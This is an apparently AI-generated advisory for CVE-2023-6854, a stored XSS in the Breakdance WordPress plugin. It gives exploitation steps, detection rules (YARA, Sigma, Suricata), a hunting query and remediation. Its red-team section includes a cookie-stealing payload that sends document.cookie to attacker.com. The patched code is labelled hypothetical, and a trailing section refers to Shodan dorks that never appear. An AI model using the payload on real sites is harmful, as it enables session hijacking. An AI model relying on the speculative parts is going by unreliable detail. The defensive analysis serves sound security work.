CVE-2023-6854
Executive Summary
CVE-2023-6854 is a Stored Cross-Site Scripting (XSS) vulnerability in the Breakdance plugin for WordPress, affecting all versions up to and including 1.7.0. The flaw resides in the plugin's custom postmeta output handling, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood, but the risk is elevated due to the widespread use of WordPress.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem, targeting the Breakdance plugin. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is distributed via the WordPress plugin repository and third-party marketplaces, making it a supply chain risk for WordPress site administrators.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for authenticated access, but the potential for stored XSS can lead to broader compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability exists in the Breakdance plugin's handling of custom post meta fields. When a user with contributor-level or higher permissions creates or edits a post, they can supply arbitrary values in custom post meta fields. The plugin outputs these values without proper sanitization or escaping, allowing injection of malicious JavaScript. The injected script is stored in the database and executed when any user (including administrators) views the affected page.
The root cause is the lack of wp_kses() or similar sanitization functions on user-supplied post meta data, combined with insufficient output escaping using esc_html() or esc_attr().
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.7.0):
// In a template or shortcode handler
echo get_post_meta($post_id, 'custom_field', true);
Patched Code (Hypothetical):
// Properly escape output
echo esc_html(get_post_meta($post_id, 'custom_field', true));
The vulnerable code directly outputs raw post meta values, while the patched version uses esc_html() to neutralize any HTML or JavaScript.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Breakdance plugin <= 1.7.0
- Contributor-level account credentials
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- In a custom post meta field (e.g., via Breakdance's UI or direct database manipulation), inject the following payload:
<script>alert('XSS')</script> - Save the post.
- When any user (including admin) views the post, the script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual post meta values containing
<script>tags. - Use WAF rules to block common XSS patterns in post meta fields.
- Review user activity logs for suspicious post creation/editing by low-privilege users.
Hunting:
- Query the WordPress database for posts with meta values containing
<script>:SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/breakdance/(version <= 1.7.0) - Database: Rows in
wp_postmetawithmeta_valuecontaining<script>tags. - Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress debug logs showing
wp_ksesfailures or unusual post meta updates.
Detection Engineering
YARA Rule
rule CVE_2023_6854_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress post meta fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6854"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$meta_key = /custom_field/i
condition:
$xss_payload and $meta_key
}
Sigma Rule
title: Stored XSS via Breakdance Plugin Post Meta
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Breakdance plugin post meta fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-admin/post.php"
http.method: "POST"
http.body|contains: "meta_input"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in post meta (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6854 Breakdance Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"meta_input"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade Breakdance to version 1.7.1 or later if available. If no patch exists, disable the plugin until a fix is released.
- Restrict Permissions: Limit contributor-level access to trusted users only.
- WAF Rules: Deploy web application firewall rules to block
<script>tags in post meta fields.
Long-Term Measures:
- Implement input validation and output escaping for all custom fields.
- Use WordPress's
wp_kses()for sanitization andesc_html()for output. - Regularly audit plugin code for similar vulnerabilities.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.